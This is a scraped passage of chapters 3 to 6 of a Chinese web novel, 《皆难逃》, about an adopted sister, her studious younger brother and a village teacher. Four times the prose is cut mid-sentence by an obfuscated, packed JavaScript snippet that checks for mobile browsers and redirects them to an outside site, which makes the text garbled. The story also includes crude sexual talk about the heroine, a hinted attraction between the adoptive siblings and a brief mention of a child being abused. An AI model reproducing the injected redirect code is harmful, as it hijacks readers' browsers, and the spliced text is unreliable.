《皆难逃》 3. 第三章 沈先生名为沈修，年岁二十有五，十九那年，他便以解试第一的身份入京，省试再次名列前位，然那年殿试，他策论时言辞颇为激烈，隐隐有那讥讽朝政之嫌，遂未得进士之名，只得无奈返乡。 三年后，他再赴科举，省试一举夺魁，可谓是当年最为看好的省元，然至殿试时，他因执笔如剑，不改言辞，而再次落第。 这件事当年轰动了整座晋州，几乎到了无人不知的地步，便是连续两次未中进士，却也因自身才华而被众人所钦，原以为有那书院来请，沈修自会前去授讲，却没曾想，他竟全然推拒，回到沈家村来，心甘情愿只做这村学里的先生。 有人道沈修便是读书读傻了，不知变通，只认死理，可宴安却不这般觉得，她虽不通家国大事，也说不出那番道理，却是知道，旁人读了书都是往外走，可沈先生将书读到了京城，读到了她想都不敢想的大殿之上，最终，却还是回到了自己来时的地方，一笔一划地教孩子们认字。 许是心里装着这份钦佩，便不愿在他面前太过随意所致，宴安每每与沈修见面时，便不由自主感到拘谨。 “沈……沈先生。” 她声音比平日里小了几分，眼睛也只是抬了一下，便速速垂落，好似生怕看得久了，有了唐突之意。 还记得两人头次见面，还是在两年前。 祖母得知村学换了先生，让她提礼来赠，那时宴安还以为，先生都是蓄胡的老者，乍然看到一身素白长衫，年纪轻轻，眉目如画之人，当即就看愣了神。 还是沈修身侧的书童掩唇笑了一声，才让她骤然醒神，整个耳根都仿若灼伤了一样滚烫。 自那以后，宴安在沈修面前，便很少抬眼。 “宴娘子。”与她相比，沈修从来都是大方从容，他微微颔首，语气温润地问她道，“让你久等了，不知今日寻我，所谓何事？” “不久、不久，我也是刚到。”宴安说着，便将手中篮子双手捧于沈修面前，“家中近日得了几个鹅蛋，祖母说……先生日日授课辛苦，便让我送些过来……” 宴安没有去看沈修神色，却是听到他轻轻地叹了一声道：“老人家一番心意，沈修必不敢推，只是授课乃我本分，不该有所受礼，如此……”他话音一顿，抬手从篮中拿出一个鹅蛋，“容我收下一个，聊表谢意罢。” 沈修声音依旧温润，语气却不容推辞。 宴安知道，沈先生并非是客套，而是当真不喜收礼，两年前两人头次见面那次，她就见识到了。 那日她提着祖母托人从镇上买的茶叶和糕点，还有筐现摘的枇杷来送，沈先生便说了同样的话，只是那时更为坚定，连一样东西都不留。 宴安起初还以为只是客套话，未曾当真，一味还要将礼推给他，他见说不通，索性拿了几个枇杷，温笑着与她道：“如此可行，正好于我解渴？” 宴安不由愣住，要知道从前老先生在时，逢年过节送礼是常事，祖母常说：“能让宁哥儿读书，已是天大的恩情，这点东西，原该送的。” 可沈先生不同，他不急不恼，也并未虚词推让，而是真心实意地不愿接受。 宴安心中对沈修又添了一份敬意。 再来寻他时，便也不敢带太过贵重之物。 两人在后院说话时，前院正堂内的学生已是慢慢散去。 比起老先生用戒尺敲手心，沈修今日虽愠，却并未打人，而是叫他们抄写《礼记》，待抄完后，再行散堂。 期间，还彻查了那几人书箧，收了几本不堪入目的画册，当着众人面，掷入火盆，烧了个一干二净。 堂内学生大多都服从管教，不管与此事有无关系，皆会认真抄书，唯有那沈家村里正之子，翘着腿盯着沈修，莫说动笔，连头都未曾低一下。 待沈修前脚离开，他后脚便提起书箧出了堂。 此刻，他正与两人蹑手蹑脚溜至廊道。 “那小娘子是何人？”沈鹤隔着雕花石墙，眯眼朝后院的宴安扬了扬下巴。 身侧那个矮地回道：“有点眼熟，好像是……那呆子的姐姐？” 他口中的呆子，便是宴宁。 这几人私下总是耻笑于他，觉得他在如何用功，无非也就是第二个沈修，被人夸来赞去，不还是个村里的教书先生。 沈鹤轻嗤一声，将宴安从头至脚细细打量，拖着长音道：“我怎不知，那呆子还有这么一个水灵的姐姐，都嫩得能掐出汁了……” 另一个面生麻子的，挤眉弄眼低声道：“怪不得鹤兄不喜那小姑娘，原是喜欢这般丰腴之色的。” “你懂个屁。”沈鹤舌尖顶了顶上槽牙，一双眼睛似黏在了宴安身上，“这等模样，搁在镇上也是头挑的货色……若能搂上一晚，那《礼记》抄个几遍也不是不成。” 宴安原本五官就生得极好，又因打小就与何氏学女红，不曾下地干活，肤色便比寻常村民白净许多，此刻站在落日下，整个人都好似发了光一般。 麻子脸闻言，又嬉皮笑脸道：“鹤兄既是这般心喜，干脆娶回家，想如何搂就如何搂。” “呸。”沈鹤啐了一口，终是收回目光，冷笑道，“就这穷酸户，也配做爷的妻，收个妾倒是无妨……” “妾好啊，妾才能玩得开，只是……”矮个子话音一顿，用手指了指院中的沈修，“只是人家的心思怕是都在别的男人身上了。” “那也不耽误爷玩她！”提起沈修，沈鹤便没了好气，转身就朝前院走去。 见三人离开，宴宁慢慢踏上廊道。 方才几人全部言语，尽数落入他耳中，连沈鹤说话时那令人作呕的神情，也全然被他看在眼里。 宴宁冷冷望着那逐渐远去的身影，也不知在想什么，只知他周身都透着寒气，待那身影彻底消失不见，他也还未回神，直到宴安出现，他才缓缓敛眸，带着抹淡笑地轻唤了声，“阿姐。” 两人离开沈家村，往柳河村走去。 路程过半时，天便已是暗沉下来。 土路难行，再加之前昨日大雨的缘故，好几处坡道都极为湿滑，若不是宴宁反应迅速，一把握住宴安手臂，她险些便摔进泥坑。 可人虽未摔，臂弯处挎的篮子却是翻了，里面七八个秋梨滚落在地。 “哎！”宴安赶忙抽手蹲下，去捡那些秋梨，“这是沈先生给阿婆的回礼，摔烂了可如何是好？” 那几个鹅蛋，在宴安的相劝下，沈修最后还是收了，但他也没让宴安空手而归，而是回赠了这些新摘的秋梨。 宴宁看她蹲在地上，着急忙慌用自己的帕子，仔仔细细擦着秋梨的模样，心头忽又涌出一股说不出的闷堵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495321|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿姐，我有一事不明。”宴宁蹲下身，捡起秋梨也跟着擦拭起来。 “何事？尽管问阿姐。”宴安回道。 “昨日我与阿婆说，今日不必劳烦阿姐多跑一趟，那几个鹅蛋由我送来便是，但阿婆说，你我不同。”宴宁将擦好的秋梨，放入篮中，借着月色看着身侧之人，“我不明，你我有何不同？” 许是没有想到宴宁会这般询问，她动作微顿，但很快便笑着回道：“自是不同。” 她说罢，将手中最后一个秋梨放入篮中，站起身慢慢道：“你是学生，日日见先生，这是求学，而我是你阿姐，代阿婆过来给先生送些吃食，这是人情。” 宴安方才脚踝似是崴了一下，此刻用力便有些疼痛，她怕宴宁过于忧心，便也没有开口，只扶住他手臂，尽可能不让他看出来。 “就如隔壁的王婶一样，我帮她缝补东西，她送咱们鹅蛋，这只是最寻常不过的关系往来罢了。” 宴安一面缓缓朝前走，一面轻声与他说着。 “再者，翻过年便是县试，阿婆最为忧心你学业，许是不好直白问你，便让我与先生请教一二，看看可要提前准备些什么？” 说白了，便是要探探口风。 依照当朝律令，想要入考县试，必得有人作保，若考生匿丧，冒籍，身世不清，或是有过作奸犯科之举，便不得入试。保人若徇私包庇，事后也要连坐受罚。 这些规矩本是为以正风气，防止科举舞弊所设，可落在这样的地方，反倒成了拦路石，谁能愿意不收半分好处，来为一个穷乡僻壤出身的孩子，冒那连坐风险来做担保？ 然不等宴安说下去，宴宁却眉心倏然紧蹙，不由分说蹲在了宴安身前，“阿姐，上来。” 宴安没想到竟被他看了出来，连忙道：“不妨事的，我只是……” “阿姐，若再晚些，阿婆该忧心了。”宴宁的话让宴安无法拒绝，她只好慢慢伏在了他的肩头，继续方才的话道：“我……我原是想让沈先生指点一二，看看可否寻个什么法子，找人来作保……” 起初宴安还有些紧张，身子发僵，气息也颇为凌乱，后来随着宴宁沉稳的步伐，她也终是放松下来，呼吸平缓了不说，整个人也与他贴得更近。 “然沈先生听我所言，却是一口应下，愿意作你的保人。” 说至此，宴安明显有些激动，气息变得又热又乱，一下又一下拂过他耳后。 宴宁喉中生出股细微的痒意，他将眼睫垂得更低，双手也拢得更紧。 这半年来，他也的确为此忧心，他所想之法，是将自己所写文章，拿去县里寻个书肆或是学馆，求人赏识，却没曾想，最终愿为他作保的会是沈修。 他竟如此轻而易举，就应下了此事。 这般令人欣喜的消息，说出口后，却未得回应，宴安以为是宴宁太过疲惫的缘故，除了心觉歉疚外，并未想到别处，只将声音压得更低道：“我本是打算回了家中再与你和阿婆一并说，没想到话赶话，这便先说了出来。” 似还有些不放心，她目光又朝四周扫去，“沈先生拿过解元，又两入殿试，由他来作保，必定万无一失。” 后话，宴安不敢再说，宴宁也心知肚明。 二人根本不是宴家所生，皆是何氏从江南返乡的路上，捡来的弃儿。 4.第四章 建平初，圣人下诏南征，以举国之力收复失地，然上天不佑，前线正值胶着之时，长江上游连江暴雨，突发山洪，洪水直朝下游而去，荆州、江陵、岳州等十余州县，皆遭洪灾。 何氏原是在苏州做绣娘，丈夫与独子皆在码头跑船，二人船只被冲，尸骨无存，何氏得此消息，当即晕死过去，醒来后，家中银钱全无，儿媳也没了影踪，还是那绣坊掌柜，施以援手，她才有了些盘缠得以回乡。 宴安那时才刚至九岁，不仅与何氏没有半分血缘，甚至连认都认不得，两人是在一处破庙里遇见的。 何氏身上盘缠不多，夜里也不敢轻易住那客栈，寻了个破庙将就，却听佛像后传来了声响，起身过去一看，才知是个小姑娘。 小姑娘模样生得白净，看穿着也不似那逃荒的流民，何氏原本不想多事，可这小姑娘却哭着跪地相求。 “老人家求你带我走吧，求你救救我……” 何氏自顾不暇，哪里还敢带个来路不明的丫头在身边。 “我娘病故，我爹将我卖了，他们成日里打我，说要打死我，我求您行行好，带我走吧……”小丫头边哭，边拉起袖口。 看到那双布满鞭痕的手臂，再想到年至半百，却已是举目无亲的自己，何氏到底还是心软了，就这样将她带在了身边。 原本何氏也只是想着，先将人带走，待寻个机会，再让小姑娘离开，可这小姑娘实在勤快，又过分乖巧，这让何氏渐渐觉得，这哪里是累赘，分明就是老天看她命苦，才给了这样好的孩子来陪她。 久而久之，何氏舍不下了。 “我夫家姓宴，往后若有人问起，你便是我孙女，你父亲名为宴征……” 何氏的这番话，刻在了宴安的心里，也是这番话，给了宴安一个真正的家，她此生永远也忘不了。 所以当她看到雪地里，哪个蜷缩成一团，奄奄一息的小男孩时，才会本能的冲了上去。 那孩子看着四五岁的年纪，脸冻得发紫，身子似乎已是僵硬，若不是探到虚弱的鼻息，宴安还当他已是没了生机。 她将他背起，朝着那间废弃的茅舍跑去，哭求着何氏。 “阿婆！救救他吧，他只是个孩子……若我们不救，他定是熬不过今夜的！” 何氏叹气，“不是阿婆不愿，这一路上灾荒不断，流民遍野，哪家不是妻离子散，我们哪里救得过来？” 这些道理宴安也知，若只一味哭求，阿婆定然不会同意，她默了片刻，压低声道：“阿婆，我们已是快至晋州，若此番回乡，只我们二人，身无男丁，日后恐是……” 宴安不必再说下去，何氏已是反应过来，家无男丁，便是绝户，别说往后回乡养老，便是那老家的院子，她都难以守住。 若说救宴安是出于怜悯，救宴宁时的何氏则多了份心思，但不论如何，这两个孩子皆被她视为己出。 而那日的宴宁，看似冻得不省人事，然他并非毫无知觉，他知道自己被人背起，也知道有人哭求救他，更是记得那温热的水，被灌进喉中的滋味。 若没有阿姐，这世间也就没有了他。 那时的她明明也是那般瘦弱，却将他稳稳背在身后，正如此刻的他一般，将她护在身后，每一步都走得极为稳健。 “阿姐？” 许久的沉默被宴宁出声打破。 耳后传来宴安的声音，“怎么了，可是累到了？若不然先将我放下来，左右也快到了。” 夜色里，宴宁唇角弯起，与她轻道：“无事，只是夜里凉，怕阿姐睡了受寒。” 他知道她没有睡，从这呼吸就能听出，可他还是寻了借口，总不能说……是他想听她声音，也想叫声阿姐了。 两人回到柳河村时，明月已是当空。 何氏早早就候在门外，远远见到宴宁背着宴安，拄着拐就迎上前去，“哎呦，这是何处伤到了啊？怎地这般晚才回来？” 宴安最是见不得祖母忧心，尚未进门，就赶忙将今日沈先生留堂一事道出，至于旁的事，宴安未提，只等着三人用了晚膳后，她与何氏上炕，这才细细说出。 “天爷啊，真的就应了，莫不是你听错了，或是……或是沈先生他……”得知保人的事有了着落，何氏也激动得难以置信，忍不住就扬了语调，意识到声音过高，赶忙捂住嘴，朝屋中那布帘看去。 布帘那头，宴宁正在点灯看书，听到沈先生三个字时，眉心微不可查地蹙了一下。 外间炕上，宴安压着声音，笑着对何氏道：“我未曾听错，沈先生也并非是在敷衍我，这还是他主动提出的。” 何氏握着嘴，依旧不敢相信，那眼泪都在框中打转，“老天爷开眼了，是真的开眼了……沈先生可真是好人啊，天大的好人，是我宴家的恩人……” 宴安见祖母如此，自己鼻头也跟着发酸，她偏过脸去，用袖子擦了擦眼角，又听祖母忧心忡忡地小声念叨，“能有沈先生作保，自然是天大的好事，可说到底，考取功名还得看咱们宁哥儿自己，也不知这县试他可是能过……” 便是过了，也还有那解试与省试，到了最后，还有那殿试。 人人都羡慕沈修，他聪慧过人，两入殿试，得以面见天颜，可又怕成为沈修，万般努力，最后落得一场空。 三年又三年，宴宁便是熬得起，何氏也怕自己熬不起了。 “我信咱们宁哥儿。”宴安深吸一口气，回过头来认真道，“再者，沈先生也说了，宁哥儿无需为县试与解试忧心，他如今该是将重心放在往后的省试与殿试上。” 两人声音压得极低，宴宁听得并不真切，却是听到宴安会时不时提及沈先生。 她应是在说今日之事，才会如此。 这分明是极为正常之事，可他却觉得那股莫名的情绪，又叫他心头开始闷堵，忍不住再次想起，祖母昨日那句他与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501760|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姐不同的话来。 宴宁搁下书册，合眼捏着眉心。 阿姐已是与他解释过了，他不该纠结于此，只要阿姐说的话，他都信。 他如今该做的事，是将心思全然用于读书上。 因为他在许久前，便答应过阿姐。 那时他才刚至十岁，他实在不解为何他非要读书，笔墨纸砚皆费银钱不说，家中舍不得穿用之物，也会被拿去送给先生。 那时的阿姐是这样与他说的，“若是读书读得好，往后还能做官，那就不愁营生了，就算做不了官，日后做个先生，或是替人写字记账，也比出苦力要稳妥。” 年少的宴宁，皱着眉头若有所思，片刻后，又问道：“阿姐想我读书？” 见她笑着点头，他便也跟着弯了唇角，“好，那我一定读书，一定会考取功名，做大官，做那最大的官，让阿姐受人尊敬，让阿姐有花不完的钱……” 那时阿姐连声说好，还笑着揉他脑袋，“那阿姐便等着咱们宁哥儿！” 想起这些，宴宁慢慢睁开了眼，他既已有了承诺，便不会叫阿姐失望。 宴宁深匀了几个呼吸，见外间已是彻底静下，便知两人已是要睡，他也打算收拾书桌，准备躺下。 然他将那书箧拿起，正要将书往里放时，眉心倏然蹙起，他从里面取出了一本书册，此书无名，纸张却极为精细，一看便知是贵重之物。 这并非是他的书。 宴宁已是隐隐有了预感，面色骤然沉下。 他将书打开，此书为画册，头一张便是一女子，眉目含笑地斜靠于贵妃榻上。 宴宁神色微滞。 怪不得今日沈修要查沈鹤书箧时，他浑不在意，还装模作样将那书箧双手奉上，原是早就趁他堂间外出时，将这画册藏在了他这里。 其实宴宁并不知晓，为何沈修今日要恼。 因堂上还有年岁小的，沈修有所顾忌，说得极为隐晦，只说这几人看了杂书，生了杂念，有违礼教。 至于是何杂书，又生了何念，违背何礼，沈修一概未提。 宴宁听得茫然。 他六岁前，不过是个孩童，六岁那年，他便被阿婆收养，十多年来，身边只有这两人。 她们教他穿衣吃饭，教他明辨是非，也会和他说男女有别，饶是亲人也要有所避嫌，至于其他…… 他从未问，她们也从不言。 就好像有些话不必说，慢慢也能自己悟出。 宴宁望着面前画中女子，心知此书非益，不该继续翻看，可他又想起沈修的话，“开卷皆有益。” 那缘何这样的书，便读不得了？ 是因沈鹤等人本就心术不正，才会看后生出杂念，他与他们不同，他不会生了那杂念。 就如此刻，他盯着这女子看了许久，只觉无趣，并无旁思。 这般想着，他捏起书角，再度朝后翻去。 5.第五章 翌日清晨，宴安端着热粥从灶房回到主屋，见布帘未曾拉开，帘子里头也无半分声响，便试探性地轻唤了一声，“宁哥儿？” 未得回应，宴安有些发慌，扬了几分语调又道：“宁哥儿，已是不早了，若再耽搁下去，便该迟了……” 帘后，宴宁猛然睁眼。 入目是熟悉的房梁，耳边还有宴安略带焦急的声音，眼看布帘便要被她掀开，宴宁赶忙出声应道：“阿姐……我无事，只是……” 一开口，别说外间的宴安，便是宴宁自己也吓了一跳，他的声音竟沉哑到这个地步。 “宁哥儿，可是身子不舒服了？”宴安隔着帘子又问。 “无妨的，我这便出来。”宴宁说着，已是撑坐起身，掀开被子那一瞬间，他浑身骤然绷紧。 听到里间再次静下，宴安还是忍不住忧心道：“可要阿姐进去帮你？” “不、不……”宴宁赶忙将被褥重新盖上，眼神中是不可置信，语气里还透着一丝慌乱，他眉心紧蹙，用尽全力地深匀了两个呼吸，方才将将稳住心神，开口道：“不必，阿姐莫要忧心，我穿好衣裳便出去。” 宴安觉得奇怪，但也未再追问，而是转身又去炕旁扶何氏。 待过了许久，宴宁才将布帘缓缓拉开。 他衣衫整齐，面色无异，只是在与宴安目光相撞之时，眼底多了抹异样的情绪，但那情绪并未让外间这两人看出。 “读书固然重要，可也要仔细身子。”何氏不知宴宁昨晚读书到了几时，只是记得她与宴安入睡时，里间还亮着灯，忍不住叮嘱了一句。 宴宁点头道：“阿婆说得是，我往后必会注意。” “好了，快些洗漱吧，待会儿粥该凉了。”许是害怕何氏继续念叨，宴安一边催他，一边又朝他挤了挤眼。 宴宁心领神会，弯唇“嗯”了一声，来到屋角处的盆架旁，一面拿着帕巾擦脸，一面语气自然的与宴安道：“阿姐，我方才喉中不适，起身喝水时，不慎将水洒到了被褥上。” “晌午出了太阳，叫你阿姐拿去院里晒晒就是，不妨事的。”何氏吹了吹热粥，随口接了话。 湿了被褥而已，的确不是什么要紧事，但宴宁的这番话，落入宴安耳中，却是叫她眉心蹙起，搁下碗起身就来到他身侧，“可是昨晚回来的路上，受了凉？” 说着，不等宴宁反应，那微凉的手背就贴在了他的额上。 儿时宴宁若是身体不适，宴安便会这般帮他试温，有时怕摸不准，还会与他额头相贴，宴宁直到现在，都还记得两个脑袋碰在一处时，抬眼就能看到对方眉眼的画面。 然后来，随着两人年岁渐长，她似乎在不知不觉中，已是许久未曾与他靠得那般近了。 “都怨我，定是昨晚你背我时出了汗，又被夜风吹到了，这一冷一热，才着了凉的。”宴安原本觉得只是寻常温度，却也不知为何，试了几次后，愈发觉得热。 宴宁却是握住了宴安的手腕，将那贴在额上的手，慢慢挪了下来，“无事的阿姐，是我今日起得晚，心头着急所致。” 宴宁动作轻柔，语速也说得轻缓，唇角还带着抹淡淡的弧度，这让宴安下意识想到了一人。 “没病了便好，快莫要站着了，过来喝粥罢。”何氏在桌边的催促，打断了宴安的思绪，她眨眼回神，正要将手收回，却见宴宁反手将她整个小臂握在了掌中，“我扶阿姐。” “就几步路，不碍事。”宴安嘴上这样说着，却也未曾拒绝。 宴宁早膳用得匆忙，只喝了一碗粥，连饼都未曾吃，着急忙慌提起书箧便要出门，也不知怎地，袖摆挂在了门上，当场便撕开了一道口子。 宴宁在家时与宴安一样，所穿皆是粗布衣裳，上面自也带着补丁，但每逢要去村学读书，他便会将粗衣换下，有何氏专门为他在镇上做的细布外衫，满共做了两件，平日里是换着穿的。 当中一件，前几日淋了雨，回来后宴安就帮他洗了，此刻还在院中晾着，尚未干透，还有一件，就在他身上穿着。 好在口子虽扯得大，但布面未损，只需要重新走线便可。 宴宁忙将外衫褪下，宴安拿了针线便开始帮他缝补。 闲着也闲着，宴宁索性趁这工夫，将自己那被面扯下，抱去院中，坐在矮凳上背对主屋，用皂荚开始搓洗。 何氏瞧见，劝他道：“你洗这些作甚，放在盆中，待你阿姐缝了衣裳，再帮你洗就是了。” 宴宁却道：“阿姐崴了脚，今日莫要让她受累。” “是、是、是。”何氏笑着连连应声，故意道，“怪我老婆子不知心疼孙女了，还是人家宁哥儿疼自家姐姐。” 宴安也跟着笑了。 宴宁也不知是何神情，只知他兴许是担心宴安缝补好后，未能将被面洗好，便动作极快，不住在那揉搓。 片刻后，宴安拿着衣衫来到院中时，宴宁不仅将洗净的被面挂在了绳子上，还顺手将宴安昨日放在盆中的中衣也一并洗了。 看着宴宁穿好衣衫，挎着书箧出了门，宴安终是松了口气，慢慢转身朝屋里走，余光扫过屋檐下，被被面半遮着的亵裤时，眸光略微定住。 祖母从前便说过，贫苦人家，没有太多讲究，有的家中孩子多，不管男女老少，皆在那大通铺上睡，别说避嫌，就是那衣裳也是换着穿的，也是宴家人少，这才将就住开。 至于小衣亵裤这样的物件，也省了那些避讳，日头好时，洗了晾在院中便是，可若家中来了人，这些自是要立即收好，莫叫人看了耻笑。 所以这些年来，祖孙三个也不曾在这些事上避讳，然今日，宴安却是看到宴宁的亵裤，并未搭在日头下，而是挂在了院子最偏的那片檐下，似还有意做了遮蔽。 “宁哥儿大了。”何氏拄着拐，慢悠悠地来到院中，顺着宴安目光望去，“再过两年，也该说亲了。” 何氏说着，又摇头轻轻叹了声，“家中长姐尚未婚配，若幼弟先议亲，旁人听了，怕是要嚼舌根了……” 话已至此，宴安自是能听明白，被嚼舌根的那个定是她。 从前何氏也问过，她到底为何不想嫁人，宴安那时说，她舍不下宁哥儿，更是舍不下阿婆，可如今，她也终是意识到，宁哥儿将来要娶妻生子，而她身为姑姐，又怎能日日待在一处。 “阿婆……”宴安心头微酸，上前搀住了何氏，低低道，“可我一旦嫁出这个门，日后便是旁人家的媳妇了，安能日日守在阿婆身边，阿婆又有谁来照顾？” “阿婆也舍不得我安姐儿啊！”何氏话音一出，双眼瞬间便落下泪来，“可阿婆不能自私，你是阿婆亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505352|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲的孙女啊，阿婆养你……可不是将你当下人使的！你若是存着这份心，那便是寒了阿婆的心呐……” “我怎会不知？”宴安闻言，簌簌落泪，“可阿婆，我怕啊……我怕成婚……” “缘何要怕呢？”何氏握住她的手，不解地问道。 事到如今，宴安索性说开，她深吸一口气，拉着何氏去了屋中，将那门窗紧闭后，才与何氏低低开口，“人心叵测，当初我爹将我卖于人为婢时……那主家面容和善，说会宽待于我，可后来……” 后来他们将她日日责打不说，甚至还要轻薄于她。 “畜生！”何氏低声叱骂，“你那时将将九岁，他们怎能如此不堪？” 九岁的年纪，足以将一切事情记于心中，直至今日，宴安也忘不掉那人的模样。 她匀着呼吸，抹掉泪道：“阿婆，我此生最大幸事，便是遇见了阿婆，成了您的孙女……可人心难测，我实不敢……不敢再轻信于人……” 相伴十多年的亲人，彼此最为相熟不过，而嫁人，则是要去另一方天地，面上再是和善，也多有被婆家磋磨的媳妇。 “往远了不说，就说隔壁王婶。”提及此事，宴安眼中便生出了嫌恶，“王婶心善能干，嫁了人后为家中百般操持，早年婆母在时，便看她不顺眼，成日里刁难于她，前些年婆母去了，还以为王婶总算能清闲两日……” 可那赵叔，染了喝酒的毛病，日日喝的伶仃大醉，喝醉了又会耍酒疯，有次夜里酒醉归来，还摸错了门，在宴家门前骂骂咧咧。 宴宁被扰醒，提着刀去开得门，那赵叔原还在骂，一看这架势，当即就被吓跑了。 “阿婆，我不想后半辈子就这样过……”过这种仰人鼻息，寄人篱下的日子，且那些人与她非亲非故，她又凭什么尽心讨好，费力照顾？ 若是如此，她宁可不嫁，便是被人嚼舌根，似也没那般可怕了。 何氏终于明白了，这个平日里乖顺温婉的孙女，骨子里是这样的性子。 两人不再说话，沉默了许久后，何氏眼皮微微一抬，试探性地开了口，“那若咱们能找个知根知底，品性信的过之人呢？” 宴安垂眼看着衣摆，语气颇为无奈道：“哪里能轻易寻到……” 没有直接出言拒绝，何氏便知有戏，拍着她手背，温声又道：“这如何寻不到，身边不就有一个，论模样那是天姿玉貌，论文采，十里八乡无人不知，论品性，阿婆不说，你自己也知，再者……两家离得不算远，饶是日后常回来，也定不会招惹闲言……” 宴安眉眼微抬，唇瓣嗫嚅了许久，最后也只是声如蚊蚋地闷闷道：“沈先生那般出众，我如何能配得上……” 何氏方才明明未提沈修之名，可宴安却直接道出了他。 何氏吸了口气，此刻双眸倏然一亮，强压着心绪，缓声道：“我家安姐儿这般好，怎就配不得了？再者，沈先生那般有主意之人，只要他愿意，旁人谁能阻得了？” “阿婆莫要再说了。”眼看宴安起身要走，何氏赶忙一把将她拉住，“若他当真没有半分心思，缘何对咱宁哥儿这般好？” “那是因为宁哥儿好学，他身为先生，自然愿意帮扶。”宴安说罢，推开了何氏的手，起身出屋。 何氏不再言语，却已是了然于心。 6.第六章 从柳河村到沈家村祠堂，需一个时辰的脚程，若逢雨雪天，路上难行，有时则会更久。 这条路宴宁走了七年，可以说是闭着眼睛都能摸到，甚至连路上有几棵树，有几道沟，有几个土坡，都知道的一清二楚。 平日宴宁总是头一个到，到了之后会帮沈六叔打扫庭院，也会帮忙去擦桌椅，而今日，他入堂时，堂内来的学生已是过半。 虽未迟到，宴宁却高兴不起来。 他盘膝落座，手指下意识在膝头不重不轻地敲了几下。 这样的速度，还是不够快。 午间休息时，家在沈家村的学生，大多会回去用饭，若住得偏远，或是不愿折返的，便会留在祠堂，待今日彻底散堂，才会返回家中，宴宁便是后者。 沈修前脚离堂，后脚堂内喧哗四起。 沈鹤私下里再看不管沈修，明面上也会有所收敛，此刻他歪着脑袋，朝身侧的麻子脸使了个眼色，两人将目光齐齐落在了宴宁身上。 宴宁如往常一般，似对此毫无觉察，垂眼将书箧打开，从那最上层拿出他的旧葫芦，饮下几口后，又不紧不慢将那布包打开，这里面包着烧饼和鸡蛋。 从前老先生便说，读书久了，最好能去林中休息，这般才不会年纪轻轻坏了眼睛。 宴宁一直谨记先生叮嘱，如往常一样，拎着葫芦和布包，去了祠堂旁边的树林。 不多时，矮个子守在正堂门口，堂内便只剩沈鹤与那麻子脸，沈鹤一个眼神，麻子脸立即来到宴宁桌旁，从那书箧里将画册取出。 画册所放的位置，与昨日没有半分不同。 沈鹤接过画册，随意翻了几页，见并无损坏，得意地朝麻子脸道：“这法子如何？” 麻子脸自是赶忙夸赞，“哎呦！还得是鹤兄，能想到这般好的主意！” 若宴宁没发现，他们会将画册取回，若被宴宁发现，这画册上又没有名字，到时三人一口咬定，并非他们之物，谁又能拿他们如何？ “也不知那呆子到底知不知道？”麻子脸翻看着画册，见没有损坏，便交回了沈鹤手中。 沈鹤一甩折扇，一面轻摇，一面朝堂外走去，“管他作何，老子还能怕他不成？” 三人大摇大摆离开祠堂，钻入一旁树林，朝着隔壁村的一处废弃碾坊走去，那是闲人聚赌之处。 路上，那麻子脸想到方才画册里的画面，咽了咽口水道：“那柳姑娘前日里差人送了信，说她想咱们了，要不过几日，去镇上瞧瞧她？” 沈鹤冷嗤，“想个屁，就那模样倒找钱老子也不去！” 矮个子快走几步，追上沈鹤，谄笑道：“我昨日专门差人打听了，那呆子姐姐的事，不知鹤兄可想听听？” 沈鹤合了折扇，眯眼看他，“说。” 矮个子笑道：“年纪双十，尚未婚配……” 老槐树后，宴宁细细咀嚼着口中炊饼，听着三人谈话，待他们彻底走远，他咽下最后一口，慢慢将手背抬至面前，缓缓张口，将那手背上正在四处游窜的蚂蚁，吃入口中。 今日散堂，宴宁只用了半个时辰，便回到了柳河村，可他并未直接回家，而是隐在了一处幽静的林间，估算着时辰与往常到家时差不多了，这才提着书箧回到家中。 晚上还是喝粥，配着何氏腌的小菜，宴宁似乎很饿，喝了一碗又一碗。 见他比平时饭量大，何氏心中欢喜，“正是长身体的时候，就该多吃些，明日让你阿姐再多熬点给你！” 宴宁点了点头，忽又想起一事，“沈先生今日与我说，最快年底，最迟正月初，县里会张贴告示，到时他会来写结保文书。” 何氏愣了一下，赶忙就问：“沈先生要来？” “嗯。”宴宁朝身侧宴安看了一眼，回道，“沈先生说，要我带着户帖与他一道去寻里正，求证无误后，方才能写文书作保。” 何氏点了点头，“放宽心罢，阿婆将那户帖锁箱子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 